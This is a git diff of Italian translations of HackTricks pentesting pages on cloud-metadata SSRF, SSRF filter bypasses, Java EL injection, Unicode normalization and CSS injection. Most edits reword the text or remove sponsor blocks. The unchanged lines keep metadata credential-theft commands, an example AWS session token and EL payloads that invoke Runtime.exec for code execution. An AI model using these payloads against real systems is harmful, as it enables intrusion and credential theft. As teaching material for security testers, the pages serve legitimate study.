@ -110,13 +102,13 @@ aws_access_key_id = ASIA6GG71[...]
|
|||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
|
||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||
```
|
||||
Nota il **aws\_session\_token**, questo è indispensabile per il profilo per funzionare.
|
||||
Nota il **aws\_session\_token**, questo è indispensabile per il funzionamento del profilo.
|
||||
|
||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) può essere utilizzato con le credenziali scoperte per scoprire i tuoi privilegi e cercare di elevarli.
|
||||
|
||||
### SSRF in AWS ECS (Container Service) credenziali
|
||||
|
||||
**ECS** è un gruppo logico di istanze EC2 su cui puoi eseguire un'applicazione senza dover scalare la tua infrastruttura di gestione del cluster, poiché ECS gestisce questo per te. Se riesci a compromettere il servizio in esecuzione in **ECS**, i **metadata endpoints cambiano**.
|
||||
**ECS** è un gruppo logico di istanze EC2 su cui puoi eseguire un'applicazione senza dover scalare la tua infrastruttura di gestione del cluster, poiché ECS gestisce tutto per te. Se riesci a compromettere un servizio in esecuzione in **ECS**, i **metadata endpoints cambiano**.
|
||||
|
||||
Se accedi a _**http://169.254.170.2/v2/credentials/\<GUID>**_ troverai le credenziali della macchina ECS. Ma prima devi **trovare il \<GUID>**. Per trovare il \<GUID> devi leggere la variabile **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** all'interno della macchina.\
|
||||
Potresti essere in grado di leggerlo sfruttando un **Path Traversal** a `file:///proc/self/environ`\
|
||||
|
@ -250,7 +242,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
|
|||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||||
-H "Metadata-Flavor: Google"
|
||||
```
|
||||
Beta non richiede un'intestazione al momento (grazie a Mathias Karlsson @avlidienbrunn)
|
||||
Beta NON richiede un'intestazione al momento (grazie a Mathias Karlsson @avlidienbrunn)
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
|
@ -299,7 +291,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
|||
|
||||
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
L'endpoint dei metadati funziona allo stesso modo delle VM, ma senza alcuni endpoint:
|
||||
L'endpoint dei metadati funziona allo stesso modo delle VM ma senza alcuni endpoint:
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
|
@ -327,7 +319,7 @@ done
|
|||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Non ci sono cose come AWS Roles o account di servizio GCP, quindi non aspettarti di trovare credenziali bot di metadata
|
||||
Non ci sono cose come AWS Roles o GCP service account, quindi non aspettarti di trovare credenziali bot di metadata
|
||||
{% endhint %}
|
||||
|
||||
Documentazione disponibile su [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
|
@ -564,15 +556,9 @@ I metadata di Rancher possono essere accessibili utilizzando:
|
|||
|
||||
* `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,28 +1,20 @@
|
|||
# URL Format Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Supporta HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Localhost
|
||||
```bash
|
||||
# Localhost
|
||||
|
@ -174,8 +166,8 @@ Lo strumento [**recollapse**](https://github.com/0xacb/recollapse) può generare
|
|||
|
||||
### Bypass tramite redirect
|
||||
|
||||
Potrebbe essere possibile che il server stia **filtrando la richiesta originale** di un SSRF **ma non** una possibile **risposta di redirect** a quella richiesta.\
|
||||
Ad esempio, un server vulnerabile a SSRF tramite: `url=https://www.google.com/` potrebbe **filtrare il parametro url**. Ma se utilizzi un [server python per rispondere con un 302](https://pastebin.com/raw/ywAUhFrv) al luogo dove vuoi reindirizzare, potresti essere in grado di **accedere a indirizzi IP filtrati** come 127.0.0.1 o persino a **protocollo** filtrati come gopher.\
|
||||
Potrebbe essere possibile che il server **filtri la richiesta originale** di un SSRF **ma non** una possibile risposta di **redirect** a quella richiesta.\
|
||||
Ad esempio, un server vulnerabile a SSRF tramite: `url=https://www.google.com/` potrebbe **filtrare il parametro url**. Ma se utilizzi un [server python per rispondere con un 302](https://pastebin.com/raw/ywAUhFrv) al luogo dove vuoi reindirizzare, potresti essere in grado di **accedere a indirizzi IP filtrati** come 127.0.0.1 o persino a **protocolli** filtrati come gopher.\
|
||||
[Controlla questo report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -216,11 +208,6 @@ immagine da [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing
|
|||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,21 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Bsic Info
|
||||
## Informazioni di base
|
||||
|
||||
L'Expression Language (EL) è fondamentale in JavaEE per collegare il livello di presentazione (ad es., pagine web) e la logica applicativa (ad es., managed beans), consentendo la loro interazione. È utilizzato principalmente in:
|
||||
|
||||
|
@ -37,18 +23,18 @@ L'Expression Language (EL) è fondamentale in JavaEE per collegare il livello di
|
|||
* **JavaServer Pages (JSP)**: Per l'accesso e la manipolazione dei dati all'interno delle pagine JSP.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: Per facilitare l'interazione del livello web con i managed beans.
|
||||
|
||||
**Contesti di Utilizzo**:
|
||||
**Contesti di utilizzo**:
|
||||
|
||||
* **Spring Framework**: Applicato in vari moduli come Sicurezza e Dati.
|
||||
* **Uso Generale**: Attraverso l'API SpEL da parte degli sviluppatori in linguaggi basati su JVM come Java, Kotlin e Scala.
|
||||
* **Uso generale**: Attraverso l'API SpEL da parte degli sviluppatori in linguaggi basati su JVM come Java, Kotlin e Scala.
|
||||
|
||||
L'EL è presente nelle tecnologie JavaEE, in ambienti standalone, e riconoscibile attraverso le estensioni di file `.jsp` o `.jsf`, errori di stack e termini come "Servlet" negli header. Tuttavia, le sue funzionalità e l'uso di determinati caratteri possono dipendere dalla versione.
|
||||
L'EL è presente nelle tecnologie JavaEE, in ambienti standalone, e riconoscibile attraverso le estensioni di file `.jsp` o `.jsf`, errori di stack e termini come "Servlet" negli header. Tuttavia, le sue caratteristiche e l'uso di determinati caratteri possono dipendere dalla versione.
|
||||
|
||||
{% hint style="info" %}
|
||||
A seconda della **versione EL**, alcune **funzionalità** potrebbero essere **Attive** o **Disattive** e di solito alcuni **caratteri** possono essere **non consentiti**.
|
||||
A seconda della **versione EL**, alcune **caratteristiche** potrebbero essere **Attive** o **Disattive** e di solito alcuni **caratteri** possono essere **non consentiti**.
|
||||
{% endhint %}
|
||||
|
||||
## Basic Example
|
||||
## Esempio di base
|
||||
|
||||
(Puoi trovare un altro tutorial interessante su EL in [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
|
||||
|
||||
|
@ -125,7 +111,7 @@ Controllalo in **questo post:** [**https://xvnpw.medium.com/hacking-spel-part-1-
|
|||
```
|
||||
### Rilevamento
|
||||
|
||||
* Rilevamento Burp
|
||||
* Rilevamento di Burp
|
||||
```bash
|
||||
gk6q${"zkz".toString().replace("k", "x")}doap2
|
||||
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
|
||||
|
@ -150,7 +136,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
|
|||
```
|
||||
### RCE
|
||||
|
||||
* Spiegazione di base del RCE **explanation**
|
||||
* Spiegazione di base dell'RCE **explanation**
|
||||
```bash
|
||||
#Check the method getRuntime is there
|
||||
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
|
||||
|
@ -213,12 +199,12 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
|
|||
### Ispezionare l'ambiente
|
||||
|
||||
* `applicationScope` - variabili globali dell'applicazione
|
||||
* `requestScope` - variabili della richiesta
|
||||
* `requestScope` - variabili di richiesta
|
||||
* `initParam` - variabili di inizializzazione dell'applicazione
|
||||
* `sessionScope` - variabili di sessione
|
||||
* `param.X` - valore del parametro dove X è il nome di un parametro http
|
||||
|
||||
Dovrai convertire queste variabili in Stringa come:
|
||||
Dovrai convertire queste variabili in String come:
|
||||
```bash
|
||||
${sessionScope.toString()}
|
||||
```
|
||||
|
@ -243,18 +229,6 @@ Controlla [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](http
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
||||
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -265,7 +239,7 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Normalizzazione Unicode
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,30 +10,16 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**Questo è un riassunto di:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Dai un'occhiata per ulteriori dettagli (immagini prese da lì).
|
||||
|
||||
## Comprendere Unicode e Normalizzazione
|
||||
|
||||
La normalizzazione Unicode è un processo che garantisce che diverse rappresentazioni binarie di caratteri siano standardizzate allo stesso valore binario. Questo processo è cruciale nel trattare stringhe nella programmazione e nell'elaborazione dei dati. Lo standard Unicode definisce due tipi di equivalenza dei caratteri:
|
||||
La normalizzazione Unicode è un processo che garantisce che diverse rappresentazioni binarie dei caratteri siano standardizzate allo stesso valore binario. Questo processo è cruciale nella gestione delle stringhe nella programmazione e nell'elaborazione dei dati. Lo standard Unicode definisce due tipi di equivalenza dei caratteri:
|
||||
|
||||
1. **Equivalenza Canonica**: I caratteri sono considerati canonici equivalenti se hanno lo stesso aspetto e significato quando stampati o visualizzati.
|
||||
2. **Equivalenza di Compatibilità**: Una forma più debole di equivalenza in cui i caratteri possono rappresentare lo stesso carattere astratto ma possono essere visualizzati in modo diverso.
|
||||
|
@ -47,7 +33,7 @@ Comprendere la codifica Unicode è fondamentale, specialmente quando si affronta
|
|||
* **Punti di Codice e Caratteri**: In Unicode, a ciascun carattere o simbolo viene assegnato un valore numerico noto come "punto di codice".
|
||||
* **Rappresentazione in Byte**: Il punto di codice (o carattere) è rappresentato da uno o più byte in memoria. Ad esempio, i caratteri LATIN-1 (comuni nei paesi di lingua inglese) sono rappresentati utilizzando un byte. Tuttavia, le lingue con un set di caratteri più ampio necessitano di più byte per la rappresentazione.
|
||||
* **Codifica**: Questo termine si riferisce a come i caratteri vengono trasformati in una serie di byte. UTF-8 è uno standard di codifica prevalente in cui i caratteri ASCII sono rappresentati utilizzando un byte e fino a quattro byte per altri caratteri.
|
||||
* **Elaborazione dei Dati**: I sistemi che elaborano dati devono essere a conoscenza della codifica utilizzata per convertire correttamente il flusso di byte in caratteri.
|
||||
* **Elaborazione dei Dati**: I sistemi che elaborano i dati devono essere a conoscenza della codifica utilizzata per convertire correttamente il flusso di byte in caratteri.
|
||||
* **Varianti di UTF**: Oltre a UTF-8, ci sono altri standard di codifica come UTF-16 (che utilizza un minimo di 2 byte, fino a 4) e UTF-32 (che utilizza 4 byte per tutti i caratteri).
|
||||
|
||||
È cruciale comprendere questi concetti per gestire e mitigare efficacemente i potenziali problemi derivanti dalla complessità di Unicode e dai suoi vari metodi di codifica.
|
||||
|
@ -60,7 +46,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
|||
|
||||
### Scoprire
|
||||
|
||||
Se riesci a trovare all'interno di un'app web un valore che viene restituito, potresti provare a inviare **‘KELVIN SIGN’ (U+0212A)** che **si normalizza in "K"** (puoi inviarlo come `%e2%84%aa`). **Se un "K" viene restituito**, allora, qualche tipo di **normalizzazione Unicode** viene eseguita.
|
||||
Se riesci a trovare all'interno di un'app web un valore che viene restituito, potresti provare a inviare **‘KELVIN SIGN’ (U+0212A)** che **si normalizza in "K"** (puoi inviarlo come `%e2%84%aa`). **Se un "K" viene restituito**, allora viene eseguita una qualche forma di **normalizzazione Unicode**.
|
||||
|
||||
Altro **esempio**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` dopo **unicode** è `Leonishan`.
|
||||
|
||||
|
@ -106,7 +92,7 @@ Quindi, un utente malintenzionato potrebbe inserire un carattere Unicode diverso
|
|||
|
||||
### XSS (Cross Site Scripting)
|
||||
|
||||
Puoi usare uno dei seguenti caratteri per ingannare l'app web e sfruttare un XSS:
|
||||
Puoi utilizzare uno dei seguenti caratteri per ingannare l'app web e sfruttare un XSS:
|
||||
|
||||
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (312) (2).png>)
|
||||
|
||||
|
@ -126,25 +112,13 @@ Lo strumento [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* cons
|
|||
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere le acquisizioni di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,13 +15,6 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## CSS Injection
|
||||
|
||||
|
@ -54,7 +47,7 @@ Un esempio pratico di sfruttamento di questa tecnica è dettagliato nel framment
|
|||
|
||||
#### Requisiti per l'iniezione CSS
|
||||
|
||||
Affinché la tecnica di iniezione CSS sia efficace, devono essere soddisfatte alcune condizioni:
|
||||
Affinché la tecnica di iniezione CSS sia efficace, devono essere soddisfatte determinate condizioni:
|
||||
|
||||
1. **Lunghezza del Payload**: Il vettore di iniezione CSS deve supportare payload sufficientemente lunghi per ospitare i selettori creati.
|
||||
2. **Rivalutazione CSS**: Dovresti avere la possibilità di incorniciare la pagina, il che è necessario per attivare la rivalutazione del CSS con payload generati di recente.
|
||||
|
@ -73,15 +66,15 @@ background:url(/m);
|
|||
<input name=mytoken value=1337>
|
||||
<input name=myname value=gareth>
|
||||
```
|
||||
Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
